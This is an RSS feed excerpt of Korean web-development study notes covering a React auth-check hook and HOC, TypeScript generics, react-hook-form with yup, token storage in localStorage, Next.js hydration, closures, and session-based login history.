<h3 id="useauth-함수-만들기">UseAuth 함수 만들기</h3>
<p>기존에 만들어놨던 withAuth 파일을 가져와서 useAuth 함수를 만들어봤다.</p>
<pre><code class="language-javascript">import { useAuth } from &quot;../../../src/components/commons/hooks/useAuth&quot;;

export default function CustomHooksUseAuthPage(): JSX.Element {
  useAuth();

  return &lt;div&gt;프로필 페이지입니다.&lt;/div&gt;;
}</code></pre>
<br/>

<h4 id="useauth-파일">#useAuth 파일</h4>
<pre><code class="language-javascript">import { useRouter } from &quot;next/router&quot;;
import { useEffect } from &quot;react&quot;;

// useAuth 이름 변경 가능!
export const useAuth = (): void =&gt; {
  const router = useRouter();

  // useEffect hooks를 사용하고 있기 때문에 custom hooks다.
  useEffect(() =&gt; {
    if (localStorage.getItem(&quot;accessToken&quot;) === null) {
      alert(&quot;로그인 후 이용 가능합니다!&quot;);
      void router.push(&quot;/section23/23-05-login-check-hoc&quot;);
    }
  }, []);
};</code></pre>
<p>페이지가 실행되면, useAuth()가 실행되어 토큰을 확인 후 토큰이 존재한다면 프로필 페이지가 정상적으로 작동하고, 그렇지 않다면 로그인 후에 이용하도록 경고창을 띄울 것이다.</p>
<br/>


<h2 id="span-stylecolororange타입스크립트-genericspan"><span style="color:orange">타입스크립트 Generic</span></h2>
<br/>

<h3 id="primitive-type-문자-숫자-boolean">primitive type: 문자, 숫자, boolean</h3>
<pre><code class="language-javascript">const getPrimitive = (arg1: string, arg2: number, arg3: boolean): [boolean, number, string] =&gt; {
  return [arg3, arg2, arg1];
};

const result1 = getPrimitive(&quot;철수&quot;, 123, true);</code></pre>
<br/>

<h3 id="any-type">any type</h3>
<p>any type은 그냥 <strong>javascript</strong>와 같다. 어떤 타입이 입력되더라도 전부 허용한다. </p>
<pre><code class="language-javascript">const getAny = (arg1: any, arg2: any, arg3: any): [any, any, any] =&gt; {
  console.log(arg1 * 1000);
  return [arg3, arg2, arg1];
};

const result2 = getAny(&quot;철수&quot;, 123, true);</code></pre>
<br/>

<h3 id="unknown-type">unknown type</h3>
<p>any처럼 뭘 넣어도 상관없지만, 그것을 실행할 때에는 어떤 타입일 때 실행할지 <strong>조건</strong>을 달아줘야 한다. 타입이 지정되지 않았으므로 연산에 오류가 발생할 수 있음을 <strong>경고</strong>한다.</p>
<pre><code class="language-javascript">const getUnknown = (arg1: unknown, arg2: unknown, arg3: unknown): [unknown, unknown, unknown] =&gt; {
  if (typeof arg1 === &quot;number&quot;) {
    console.log(arg1 * 1000);
  } 

  return [arg3, arg2, arg1];
};

const result3 = getUnknown(&quot;철수&quot;, 123, true);
const result33 = result3[0] * 10; 
// alert! Object is of type &#39;unknown&#39;.</code></pre>
<br/>

<h3 id="generic-type">generic type</h3>
<p>인자에 들어오는 값에 따라 타입이 반환된다. </p>
<pre><code class="language-javascript">function getGeneric4&lt;Mytype1, Mytype2, Mytype3&gt;(arg1: Mytype1, arg2: Mytype2, arg3: Mytype3): [Mytype3, Mytype2, Mytype1] {
  return [arg3, arg2, arg1];
}

const result4 = getGeneric4(&quot;철수&quot;, 123, true);
const result44 = result4[0] * 10;</code></pre>
<p>arg1은 string 타입으로, arg2는 number 타입으로, arg3는 boolean 타입이 된다. </p>
<p><strong>MyType</strong> 부분은 함수처럼 사용자가 원하는 이름을 지정해줄 수 있다. 통상적으로 <code>T</code>, <code>U</code>, <code>V</code> 등 간단한 이름을 사용한다. </p>
<br/>

<h2 id="generic-타입-실무-활용hoc">Generic 타입 실무 활용(HOC)</h2>
<p>Generic 타입은 useQuery, useMutation처럼 내가 만든 기능을 다른 사람에게 제공하는 경우 사용한다. 들어오는 값의 타입에 따라 반환되는 값이나 컴포넌트의 타입이 결정되도록 한다.</p>
<pre><code class="language-javascript">import { useRouter } from &quot;next/router&quot;;
import type { ReactElement } from &quot;react&quot;;
import { useEffect } from &quot;react&quot;;

export const 로그인체크 =
  (컴포넌트: () =&gt; JSX.Element) =&gt;
  &lt;P extends Record&lt;string, unknown&gt;&gt;(프롭스: P): ReactElement&lt;P&gt; =&gt; {
    // props에 반드시 객체가 들어가야 스프레드 연산자를 사용할 수 있기 때문에, extends를 사용해서 P라는 Generic 타입이 객체라는 사실을 명시
    // *JSX.Element 대신 ReactElement를 쓰는 이유?
    const router = useRouter();

    useEffect(() =&gt; {
      if (localStorage.getItem(&quot;accessToken&quot;) === null) {
        alert(&quot;로그인 후 이용 가능합니다!&quot;);
        void router.push(&quot;/section23/23-05-login-check-hoc&quot;);
      }
    }, []);

    return &lt;컴포넌트 {...프롭스} /&gt;;
  };
</code></pre>
<h4 id="jsxelement-타입-대신-reactelement-쓰는-이유">*JSX.Element 타입 대신 ReactElement 쓰는 이유?</h4>
<p>ReactElement는 JSX.Element와 props의 타입까지 나타내준다. </p>
<p><img src="https://velog.velcdn.com/images/code_june/post/7d516a26-fb8d-4220-b02e-ebd719c478a7/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[✍🏻 [Code Camp_TIL] 25일차: react-hook-form, 제어 컴포넌트 & 비제어 컴포넌트, yup ]]></title>
            <link>https://velog.io/@code_june/Code-CampTIL-25%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@code_june/Code-CampTIL-25%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Sun, 23 Apr 2023 12:50:38 GMT</pubDate>
            <description><![CDATA[<h2 id="폼-라이브러리react-hook-form">폼 라이브러리(react-hook-form)</h2>
<br/>

<h3 id="폼-라이브러리">폼 라이브러리</h3>
<p>우리는 지금까지 모든 <strong>state</strong>를 직접 만들고, <strong>onChange</strong> 함수도 일일이 만들어서 바인딩했다. 이제 이 부분을 *폼 라이브러리를 사용해서 간편하게 만들 수 있다!</p>
<h5 id="참고-폼-라이브러리는-검증을-대신해주는-폼-state를-대신해주는-폼-등-종류가-굉장히-다양하다-react-form-redux-form-react-hook-form-formik-등이-있다">참고! 폼 라이브러리는 검증을 대신해주는 폼, state를 대신해주는 폼 등 종류가 굉장히 다양하다. react-form, redux-form, react-hook-form, formik 등이 있다.</h5>
<br/>

<h3 id="react-hook-form">react-hook-form</h3>
<p><strong>함수형 컴포넌트</strong>와 가장 사용하기 쉽고 성능적으로 좋은 폼은 react-hook-form이다! </p>
<p>우리가 이전에 사용하던 onChange를 만들어서 setState를 해주고 바인딩하는 방법은 <strong>state</strong>가 변화할 때마다 <strong>렌더링</strong>이 일어나기 때문에 비효율적이었다. 또한 변화한 state를 받아서 <strong>리렌더링</strong>하기 때문에 굉장히 느리다는 단점이 있다.</p>
<p>하지만 <code>react-hook-form</code>은 실시간으로 값을 state에 반영하는 것이 아닌 <strong>등록함수</strong>가 실행될 때 한번에 처리하기 때문에 불필요한 <strong>렌더링</strong>을 제거할 수 있어서 빠르고 효율적이다.</p>
<p>이렇게 처리하는 방식을 <code>*비제어 컴포넌트</code>라고 한다. react-hook-form은 비제어컴포넌트를 기반으로 하고 있다.</p>
<br/>

<h4 id="참고-제어-컴포넌트controlled-component-vs-비제어-컴포넌트uncontrolled-component">참고! 제어 컴포넌트(controlled component) vs 비제어 컴포넌트(uncontrolled component)</h4>
<p><img src="https://velog.velcdn.com/images/code_june/post/91126cd5-ba76-4515-b14f-1e2c2837e8e3/image.png" alt=""></p>
<blockquote>
<p><strong>제어 컴포넌트</strong>: 사용자의 입력을 기반으로 state가 실시간으로 변경됨(setState 사용).
<strong>비제어 컴포넌트</strong>: 등록함수를 실행할 때 한번에 값을 변경</p>
</blockquote>
<p><strong>기본</strong>은 <code>비제어컴포넌트</code>를 사용하고, 상황에 따라 복잡한 폼이 필요할 때 <code>제어컴포넌트</code>를 사용하는 것을 권장한다!</p>
<br/>

<h2 id="react-hook-form-실습">react-hook-form 실습</h2>
<Br/>

<ol>
<li>react-hook-form 설치</li>
</ol>
<blockquote>
<p><strong>npm install react-hook-form
yarn add react-hook-form</strong></p>
</blockquote>
<br/>

<ol start="2">
<li>react-hook-form 사용 </li>
</ol>
<pre><code class="language-javascript">const ReactHookForm = ()=&gt;{
    // react-hook-form 에서 useForm 제공
    const {register , handleSubmit} = useForm()

    // 등록하기 함수 -&gt; handleSubmit이 조종해주는 함수 
    const onClickSubmit = (data)=&gt;{
        console.log(data)
    }

    return(
        &lt;form onSubmit={handleSubmit(onClickSubmit)}&gt;
            &lt;input type=&quot;text&quot; {...register(&quot;writer&quot;)}/&gt;
            &lt;input type=&quot;text&quot; {...register(&quot;title&quot;)}/&gt;
            &lt;input type=&quot;text&quot; {...register(&quot;contents&quot;)}/&gt;
            &lt;button type=&quot;reset&quot;&gt; 등록하기 &lt;/button&gt;
        &lt;/form&gt;
    )
}
export default ReactHookForm</code></pre>
<br/>



<blockquote>
<p><strong>useForm</strong>에서 register, handleSubmit, form
<strong>register</strong> : state를 등록하는데 필요한 모든 기능이 들어있다.
<strong>handleSubmit</strong> : register에 적힌 state를 등록해주는 함수
<strong>form</strong>: 실제 html에 있는 input들을 묶어주는 태그</p>
</blockquote>
<br/>

<h3 id="form과-button">form과 button</h3>
<p><code>form</code> 태그에는 <strong>input</strong>에 적힌 내용을 전송하는 기능이 있다. </p>
<p>또한 <code>button</code> 태그의 <code>type</code>에 <strong>reset</strong>을 주게 되면 클릭시에 폼 안에 있는 input 값을 초기화한다. type의 기본 값은 <strong>submit</strong>이다. submit일 경우, form 태그에 바인딩된 submit 함수를 실행시키게 된다.   </p>
<p>만약 form 태그 내에서 form과 상관없는 버튼을 만들어야 한다면, type을 button으로 줘야 한다.</p>
<blockquote>
<p>form 내부의 <strong>button</strong> type 간단 정리
<strong>reset</strong> : form 내부의 input 값이 모두 삭제됨
<strong>submit</strong> : form 내부의 input 값이 백엔드로 보내짐  →  기본값
<strong>button</strong> : 나만의 버튼을 만들고 싶을때 사용</p>
</blockquote>
<br/>

<h5 id="주의-form-태그-내의-button의-타입이-submit일-경우-버튼에-다른-함수를-바인딩-할-시-예상치-못한-오류가-발생할-수-있다-form-태그의-submit-함수와-바인딩-된-함수를-모두-처리하기-때문이다">주의! form 태그 내의 button의 타입이 submit일 경우, 버튼에 다른 함수를 바인딩 할 시 예상치 못한 오류가 발생할 수 있다. form 태그의 submit 함수와 바인딩 된 함수를 모두 처리하기 때문이다.</h5>
<br/>

<h2 id="검증-라이브러리yup">검증 라이브러리(yup)</h2>
<p>지금까지는 특정 데이터가 숫자인지, 문자인지, 최소 8자리인지 등의 검증을 직접 만들어야 했다. </p>
<p><code>yup</code>은 이렇게 복잡한 검증과정을 대신해주는 라이브러리이다.</p>
<br/>

<h3 id="yup-실습">yup 실습</h3>
<p>yup은 보통 <code>form</code>과 함께 사용한다. 그래서 <strong>react-hook-form</strong>과 함께 사용해보았다.</p>
<ol>
<li><strong>react-hook-form</strong>과 함께 사용하기 위한 설치</li>
</ol>
<blockquote>
<p>yarn add @hookform/resolvers yup</p>
</blockquote>
<br/>

<ol start="2">
<li><code>yup</code> 관련 코드를 작성하고, <code>resolver</code>에 연결해주기</li>
</ol>
<pre><code class="language-javascript">import * as yup from &#39;yup&#39;
import {useForm} from &#39;react-hook-form&#39;
import {yupResolver} from &#39;@hookform/resolvers/yup&#39;

// yup 에러메세지 생성 -&gt; 제어 컴포넌트 형태로 사용해야 함.
const schema = yup.object().shape({

    myWriter : yup.string().email(&#39;이메일 형식이 적합하지 않습니다.&#39;).required(&#39;필수 입력값입니다.&#39;)

    myPassword : yup.string().min(4,&#39;비밀번호는 최소 4자리 이상입니다.&#39;).max(15,&#39;비밀번호는 최대15자리 입니다.&#39;).required(&#39;필수 입력값 입니다.&#39;) 
})

const ReactHookForm = ()=&gt;{
    //formState에서 에러메세지들을 받아옴.
    const {register , handleSubmit, formState} = useForm({
        // schema는 위에서 만들어 둔 schema
        resolver : yupResolver(schema),
        mode : &quot;onChange&quot;
    })

    // 등록하기 함수 -&gt; handleSubmit이 조종해주는 함수
    const onClickSubmit = (data)=&gt;{
        console.log(data)
    }

    return(
        &lt;form onSubmit={handleSubmit(onClickSubmit)}&gt;
            이메일 : &lt;input type=&quot;text&quot; {...register(&quot;myEmail&quot;)}/&gt;
// 우리가 생성한 yup의 에러메세지는 항상 errors에 담기는데 이 에러는 있을때도 있고 없을 때도 있기 때문에 옵셔널 체이닝을 붙여야 함.
            &lt;div&gt; {formState.errors.myEmail?.message}&lt;/div&gt;
            비밀번호 : &lt;input type=&quot;text&quot; {...register(&quot;myPassword&quot;)}/&gt;
            &lt;div&gt; {formState.errors.myPassword?.message}&lt;/div&gt;
            &lt;button styled={{ backgroundColor: formState.isValid ? &quot;yellow&quot; : &quot;&quot; }}&gt; 등록하기 &lt;/button&gt;
        &lt;/form&gt;
    )
}
export default ReactHookForm</code></pre>
<br/>

<p>최종적으로 <strong>에러</strong>가 있는지 있는지 없는지 확인 후 버튼을 <strong>활성화</strong> 하는 것은 formState의 <code>isValid</code>를 사용하면 된다.</p>
<blockquote>
<p><strong>yup에 정규표현식 추가하기</strong>
<code>yup.string().matches(/ 원하는 정규표현식! /)</code></p>
</blockquote>
<br/>

<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[✍🏻 [Code Camp_TIL] 24일차: localStorage에 토큰 저장하기, Next.js 렌더링 원리, 권한분기, HOF & HOC]]></title>
            <link>https://velog.io/@code_june/Code-CampTIL-24%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@code_june/Code-CampTIL-24%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Sun, 23 Apr 2023 09:25:43 GMT</pubDate>
            <description><![CDATA[<p>지난시간에 로그인을 해서 토큰을 받아오고, 로그인 성공 페이지로 이동하는 것까지 실습을 했다. 하지만 여기서 <strong>새로고침</strong>을 하면 토큰이 사라지는 문제점이 발생했다. 왜 이런 문제점이 발생할까?</p>
<p><strong>새로고침</strong>을 하면 새로운 html, css, js를 다시 받아오기 때문이다. 따라서 이전에 그렸던 <strong>state</strong> 변수들이 초기화되어 <code>accessToken</code>이 사라지는 것이다.</p>
<p>해결방법으로는 뭐가 있을까?</p>
<p><code>refresh token</code>을 사용하는 방법이 있다! 하지만 refresh token는 난이도가 있기 때문에 그 전에 <code>localstorage</code>에 토큰을 저장해서 문제점을 해결하는 방법을 배웠다.</p>
<p><strong>localstorage</strong>는 브라우저 저장소 중 하나이다.</p>
<p><Br/><Br/></p>
<h2 id="토큰을-localstorage에-저장하기">토큰을 localStorage에 저장하기</h2>
<br/>

<p>토큰을 브라우저에 저장하면 새로고침을 해도 토큰이 날아가지 않는다. </p>
<p><code>localStorage.setItem(key, value)</code>를 이용해서 로그인 후에 받아온 accessToken을 브라우저에 저장해준다!</p>
<pre><code class="language-javascript">import {useMutation,gql} from &quot;@apollo/client&quot;
import {ChangeEvent} from &quot;react&quot;
import { useRecoilState } from &quot;recoil&quot;;
import {useRouter} from &quot;next/router&quot;

cosnt LOGIN_USER = gql`
    mutation loginUser($email:String){
        loginUser(email: $email, password: $password){
            accessToken
        }
    }
`

export default function LoginPage(){
    cosnt [accessToken,setaccessToken] = useRecoilState(accessTokenState)

    const [email,setEmail]=useState(&quot;&quot;)
    const [password,setPassword]=useState(&quot;&quot;)
    const [loginUser] = useMutation&lt;Pick&lt;IMutation,&#39;loginUser&#39;&gt;,IMutationLoginUserArgus&gt;(LOGIN_USER)
    const router = useRouter()

    const onChangeEmail = (event:ChangeEvent&lt;HTMLInputElement&gt;)=&gt;{
        setEmail(event.target.value)
        }
    const onChangePassword = (event:ChangeEvent&lt;HTMLInputElement&gt;)=&gt;{
    setPassword(event.target.value)
        }

    const onClickLogin = async()=&gt;{
    try{
        // 1. 로그인해서 accessToken 받오기
        cosnt result = await loginUser({
            variables:{
                    email : email,
                    password : password
                }
            })
            const accessToken = result.data?.loginUser.accessToken

            // 2. accessToken이 있다면 global state에 저장 후 localStorage에 저장하기
            if(accessToken){setAccessToken(accessToken || &quot;&quot; )
                void router.push(&#39;/loginsuccess&#39;)
localStorage.setItem(&quot;accessToken&quot;,accessToken) // 임시로 사용 나중에 지울예정
            }
        }catch(error){
            Modal.error({content : error.message})
        }
    } 

    return(
        &lt;div&gt;
            이메일 : &lt;input type=&quot;text&quot; onchange={onChangeEmail}/&gt; &lt;br/&gt;
            비밀번호 : &lt;input type=&quot;password&quot; onchange={onChangePassword}/&gt; 
            &lt;button onClick={onClickLogin}&gt;로그인&lt;/button&gt;
        &lt;/div&gt;
    )
}</code></pre>
<p>실제로 accessToken이 저장되는 곳은 recoil의 recoilState의 accessToken이라는 변수다. </p>
<p><strong>새로고침</strong>을 하게 되면 accessToken 변수가 새로 그려지게 된다. 따라서 login 페이지에서 브라우저에 저장해둔 accessToken을 <code>getItem</code>을 통해 가져와, <code>setAccessToken</code>에 다시 넣어주어 브라우저에 저장된 토큰으로 바꿔줘야 한다.</p>
<blockquote>
<h4 id="참고-localstorage-사용방법">참고! localStorage 사용방법</h4>
<p><strong>저장할 때</strong>: localstorage.<strong>set</strong>Item(&quot;key&quot;, value)
<strong>꺼내올 때</strong>: localstorage.<strong>get</strong>Item(&quot;key&quot;)</p>
</blockquote>
<p>하지만 여기서 <code>localstorage is not defined</code> 에러가 발생한다. <strong>next.js의 렌더링 방식</strong> 때문이다!</p>
<br/>

<h3 id="nextjs-렌더링-원리">Next.js 렌더링 원리</h3>
<p><img src="https://velog.velcdn.com/images/code_june/post/a9940a10-7f09-419b-9c62-9cc1e4c89ebf/image.png" alt=""></p>
<ol>
<li><p>브라우저에 주소를 입력해서 접속하면, 프론트엔드 서버로부터 html, css, js을 받아온다.</p>
</li>
<li><p>html이 먼저 다운받아오고, html이 브라우저에 그려지면서 css, js를 다운받아온다. </p>
</li>
<li><p>html 파일을 만들어야 하는데, 우리는 <strong>js</strong>파일로만 페이지를 만들었기 때문에 브라우저가 아닌 프론트 서버에서 먼저 그려본다(<code>prerendering</code>). </p>
</li>
<li><p>프리렌더링 결과를 브라우저에서 그리고, 그 후에 js 파일을 서버로부터 다운받아오고, js 파일을 바탕으로 <strong>브라우저</strong>에서 다시 실행시켜보며 먼저 그렸던 것과 비교(<code>diffing</code>)해본다.</p>
</li>
<li><p>비교(<code>diffing</code>)한 후에 다른 부분이 있다면 최종적으로 반영해서 렌더링한다. 여기서 onClick, onChange 등 기능들을 추가해주게 된다. 이 과정을 <code>hydration</code>이라고 한다.</p>
</li>
</ol>
<br/>

<p>즉, 2번 그리게 되는 것이다! html만 빠르게 받아와서 브라우저에 그려주고, 그 후에 js로 한 번 더 그려준다(<strong>hydration</strong>: 물 주기). </p>
<p>여기서 <code>localstorage is not defined</code> 에러의 이유를 알 수 있다. localstorage는 <strong>브라우저</strong>에만 있는데, <strong>서버</strong>에서 먼저 prerendering 하기 때문에 localstorage는 실행에 실패한다.</p>
<br/>

<h4 id="useeffect를-사용해서-해결">useEffect를 사용해서 해결!</h4>
<p><code>useEffect</code>를 사용해서 렌더링 이후에 실행되도록 하면 된다.</p>
<pre><code class="language-javascript">// Apollo Setting 

// ==import 부분 생략==

export default function ApolloSetting(props) {
    const [accessToken,setAccessToken] =useRecilState(accessTokenState)

    useEffect(()=&gt;{
        if(localStorage.getItem(&quot;accessToken&quot;)){
        setAccessToken(localStorage.getItem(&quot;accessToken&quot;)||&quot;&quot;)
    }
},[])

    const uploadLink = createUploadLink({
            uri : &quot;백엔드 주소&quot;,
            headers : { Authorization : &quot;Bearer 받아온 토큰&quot; }
        })

    // ====== return 부분 생략 =======
}</code></pre>
<br/>

<h2 id="span-stylecolor-orange권한분기span"><span style="color: orange">권한분기</span></h2>
<br/>

<p>로그인 인증 이후에는 <code>권한 분기</code>가 이루어진다. 로그인을 한 사람과 하지 않은 사람으로 나누기도 하고, 운영자로 로그인 한 사람, 판매자로 로그인 한 사람 등으로 다양하게 권한을 분리할 수도 있다.</p>
<br/>

<h3 id="권한분기-사전지식">권한분기 사전지식</h3>
<Br/>

<h4 id="스택과-큐">스택과 큐</h4>
<p><code>스택</code>은 출입구가 하나인 데이터 구조다. </p>
<p><img src="https://velog.velcdn.com/images/code_june/post/64f11173-4040-4707-91c5-76e54808645e/image.png" alt=""></p>
<p>가장 처음에 입력된 함수가 가장 나중에 스택을 빠져나간다(<code>FILO</code>: First In Last Out). </p>
<br/>

<p><code>큐</code>는 양방향 출입이 가능한 파이프 형태의 데이터 구조다.</p>
<p><img src="https://velog.velcdn.com/images/code_june/post/1f43991b-93ec-4e0c-9b49-3eebd449e38b/image.png" alt=""></p>
<p>가장 먼저 입력된 함수가 가장 먼저 빠져나간다(<code>First In First Out</code>).</p>
<br/>

<h4 id="스코프-체인">스코프 체인</h4>
<p><code>스코프 체인</code>이란 해당 스코프에 없으면 상위 스코프로 찾아 올라가는 과정을 의미한다.</p>
<br/>

<h4 id="span-stylecolor-orangeclosurespan"><span style="color: orange">Closure</span></h4>
<pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;ko&quot;&gt;
    &lt;head&gt;
        &lt;title&gt;클로저 실습&lt;/title&gt;
        &lt;script&gt;
            function aaa(){
                const apple = 10

                function bbb(){
                    console.log(apple)
                }
                bbb()
            }
            aaa();
        &lt;/script&gt;
    &lt;/head&gt;
    &lt;body&gt;
        클로저 실습
    &lt;/body&gt;
&lt;/html&gt;</code></pre>
<p>script tag 안쪽을 보면, aaa()와 bbb()가 <strong>콜스택</strong>에 쌓이고, bbb()가 스택의 가장 위에 있기 때문에 가장 먼저 콜스택을 빠져나간다. </p>
<p>bbb 함수에서 <strong>apple</strong>이라는 변수를 콘솔창에 띄우려고 하지만, bbb() 안에는 apple이라는 변수가 없다. 따라서 <strong>스코프체인</strong>이 일어나고 apple 변수를 찾기 위해 aaa()라는 상위 스코프로 올라간다. </p>
<p>여기서 aaa 함수는 bbb의 <code>closure</code>가 된다. 즉, 클로저는 <strong>상위 함수</strong>와 해당 함수(bbb함수)가 선언된 스코프(<strong>상위함수를 둘러싼 환경</strong>)이 된다.</p>
<br/>

<h3 id="span-stylecolor-orangehofhigh-order-functionspan"><span style="color: orange">HOF(High Order Function)</span></h3>
<br/>

<pre><code class="language-javascript">function aaa(){
    console.log(&quot;저는 aaa예요&quot;)

    return function bbb(){
        console.log(&quot;저는 bbb예요&quot;)
    }
}</code></pre>
<p>위의 코드의 결과로 <strong>콘솔</strong>에 &quot;저는 aaa예요&quot;가 출력이 되고, <strong>반환값</strong>으로 bbb 함수가 있을 것이다. 콘솔에 “저는 bbb예요”를 출력하려면 어떻게 해야될까?</p>
<p>그러려면 bbb함수를 호출해야 하는데, 그러기 위해서는 <code>aaa()()</code>로 적어주면 된다.</p>
<br/>

<p>아래 코드를 보자.</p>
<pre><code class="language-javascript">function aaa(){
    const apple = 10

    return function bbb(){
        const banana = 5
        console.log(banana)
        console.log(apple)
    }
}

aaa()()

// 실행 결과
// 5
// 10</code></pre>
<p>위의 함수는 <code>파라미터</code>를 이용해 조금 더 간결하게 바꿀 수 있다.</p>
<pre><code class="language-javascript">// 함수 선언식
function aaa(apple){

    return function bbb(banana){
        console.log(banana)
        console.log(apple)
    }
}

aaa(10)(5)

// 실행 결과
// 5 =&gt; bbb에 넣은 인자값
// 10 =&gt; aaa에 넣은 인자값</code></pre>
<p>이제 위의 함수를 <code>화살표 함수</code>로 바꾸면 아래와 같이 나타내줄 수 있다.</p>
<pre><code class="language-javascript">// 화살표 함수로 변경
const aaa = (apple)=&gt;{
    return (banana)=&gt;{
                console.log(apple)
                console.log(banana)
        }
}

aaa(10)(5)</code></pre>
<p><strong>중괄호</strong>와 <strong>return</strong> 사이에 아무것도 없다면 중괄호를 생략할 수 있었다. 따라서 다음과 같이 나타낼 수 있다.</p>
<pre><code class="language-javascript">// 중괄호 생략
const aaa = (apple)=&gt;(banana)=&gt;{
                console.log(apple)
                console.log(banana)
}

aaa(10)(5)</code></pre>
<br/>

<h3 id="span-stylecolor-orangehochigher-order-componentspan"><span style="color: orange">HOC(Higher Order Component)</span></h3>
<p><code>HOC</code>는 상위에 있는 컴포넌트로 다른 컴포넌트보다 먼저 실행되는 컴포넌트다.</p>
<p>HOC는 <code>클래스형 컴포넌트</code>에 적합한 방식이다. 함수형 컴포넌트에 적합한 방식은 나중에 배울 예정이다.</p>
<br/>

<h3 id="권한-체크하는-withauth-만들기">권한 체크하는 withAuth 만들기</h3>
<p><strong>권한을 체크</strong>하는 HOC를 직접 만들어보았다.</p>
<pre><code class="language-javascript">export const withAuth = (Component:any)=&gt;(props:any)=&gt;{
    const router = useRouter()
    useEffect(()=&gt;{
        if(!localStorage.getItem(&quot;accessToken&quot;)){
            alert(&quot;로그인을 먼저 해주세요&quot;)
            void router.push(&quot;/로그인 페이지&quot;)
        }
    },[])

    return &lt;Component {...props} /&gt;
}</code></pre>
<p>이제 <strong>권한 체크 컴포넌트</strong>를 적용하고 싶은 페이지에 적용해주면 된다.</p>
<pre><code class="language-javascript">// loginSuccessPage -&gt; withAuth 적용하기 
const LoginSuccessPage = ()=&gt;{
    const {data} = useQuery(FETCH_USER_LOGGED_IN)

    return &lt;div&gt;{data?.fetchUserLoggedIn.name}님 환영합니다.&lt;/div&gt;
}

export default withAuth(LoginSuccessPage)</code></pre>
<p>위와 같이 <code>withAuth(적용하고 싶은 컴포넌트)</code> 형식으로 export 해주면 된다!</p>
<p>이렇게 해주면 <strong>해당 컴포넌트</strong>가 실행되기 전에 <strong>권한체크 컴포넌트</strong>가 먼저 실행된다.</p>
<p><img src="https://velog.velcdn.com/images/code_june/post/81642312-c354-4964-b788-e8db305f47e5/image.png" alt=""></p>
<br/>

<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[✍🏻 [Code Camp_TIL] 23일차: 로그인의 역사, JWT 토큰, Session Storage & Local Storage, Cookie]]></title>
            <link>https://velog.io/@code_june/Code-CampTIL-23%EC%9D%BC%EC%B0%A8-%EB%A1%9C%EA%B7%B8%EC%9D%B8%EC%9D%98-%EC%97%AD%EC%82%AC-JWT-%ED%86%A0%ED%81%B0</link>
            <guid>https://velog.io/@code_june/Code-CampTIL-23%EC%9D%BC%EC%B0%A8-%EB%A1%9C%EA%B7%B8%EC%9D%B8%EC%9D%98-%EC%97%AD%EC%82%AC-JWT-%ED%86%A0%ED%81%B0</guid>
            <pubDate>Sat, 22 Apr 2023 15:19:09 GMT</pubDate>
            <description><![CDATA[<h2 id="로그인과-역사-이해">로그인과 역사 이해</h2>
<p><img src="https://velog.velcdn.com/images/code_june/post/7c46cf02-8787-4382-bfe5-46e2b36b0c41/image.png" alt=""> </p>
<br/>

<h3 id="첫-번째-방식">첫 번째 방식</h3>
<p><img src="https://velog.velcdn.com/images/code_june/post/6d701345-2946-4c7b-91a8-c3b4f46910cc/image.png" alt=""></p>
<p><code>로그인</code>을 하면 백엔드로 로그인 api 요청이 되고, 백엔드는 데이터베이스에 회원 정보가 있는지 확인한다. 만약 회원정보와 로그인 정보가 일치하면 백엔드 컴퓨터에 객체(<strong>Session</strong>)를 만들어놓고 정보를 저장한다. </p>
<p>그 후에 특정한 <code>세션 아이디</code>를 부여해서 브라우저로 보내준다. 저장 장소로는 <strong>state, 변수, 브라우저 저장공간(local storage), session storage, 쿠키 등</strong>이 있다. </p>
<p>로그인(인증) 후에 fetchUser처럼 회원정보를 활용하기 위해서는 http header에 로그인 증표인 세션 아이디를 부착해서 백엔드로 보내게 된다(인가). 백엔드에서는 <code>http header</code>에 세션 아이디가 들어와있는지 확인하고, session에 정보가 있는지 체크한다. 그 후에 데이터베이스에 가서 요청받은 정보를 찾아서 돌려준다. </p>
<p>이 방식은 세션 아이디를 통해 본인이 누군지는 식별할 수 있지만, 사용자가 많아지면, session에 저장하기 위한 메모리(<strong>RAM</strong>)이 부족해진다. 이를 보완하기 위해서 컴퓨터의 메모리를 업그레이드(<strong>scale-up</strong>)해주었다. </p>
<br/>

<h3 id="두-번째-방식">두 번째 방식</h3>
<p><img src="https://velog.velcdn.com/images/code_june/post/e3368441-486d-4c39-bf37-2468e9568248/image.png" alt=""></p>
<p>백엔드 컴퓨터의 성능을 업그레이드 했음에도 더 많은 유저의 접속이 동시다발적으로 일어나면, 여전히 서버의 부하를 초래했다. </p>
<p>그래서 나온 것이 <code>scale-out(수평확장방식)</code>이다. 백엔드 컴퓨터를 여러 대 마련해서 같은 서버가 실행되게끔 하는 방식이다. </p>
<p>하지만 백엔드 컴퓨터를 복사할 때 세션까지 scale out 되지 않아서 기존의 로그인 정보를 가지고 있던 컴퓨터가 아닌 다른 컴퓨터에 가면 세션 테이블에 접근할 수 없게 되었다. </p>
<p>위의 문제를 해결하기 위해 데이터베이스에 세션 테이블을 가져다 놓았다. 하지만 이 역시도 데이터베이스의 세션 테이블에 부하가 집중되어서 느려지는 <code>보틀넥 현상</code>을 일으켰다!</p>
<br/>

<h3 id="세-번째-방식">세 번째 방식</h3>
<p>따라서 데이터베이스를 쪼개는 방법을 고안해냈다.</p>
<p><img src="https://velog.velcdn.com/images/code_june/post/3c621fd5-6bec-471b-87fc-a8713e6d90ec/image.png" alt=""></p>
<p><strong>수직파티셔닝</strong> 혹은 <strong>수평파티셔닝(샤딩)</strong>을 통해 쪼개고, 유저 정보를 가져왔을 때 해당 데이터가 있는 데이터베이스가서 데이터를 가져오는 방식을 활용했다. 다만 데이터들이 <strong>Disk</strong>에 저장되면서 인가를 할 때에는 Disk IO가 너무 많이 발생해서 처리속도가 느려지게 되었다.</p>
<p>그래서 나온 것이 <code>Redis</code>이다. Redis는 메모리에 저장해두는 임시 데이터 베이스로, Redis에 sessioin table을 두고, 인가를 했을 때에는 바로 데이터베이스로 가는 것이 아니라 redis의 session table에서 검증하고, 본 유저 데이터는 데이터베이스에 가서 가져온다. 이 방식이 가장 많이 사용하는 방식 중 한 가지 방식이다!</p>
<br/>

<h3 id="jwt-로그인">JWT 로그인</h3>
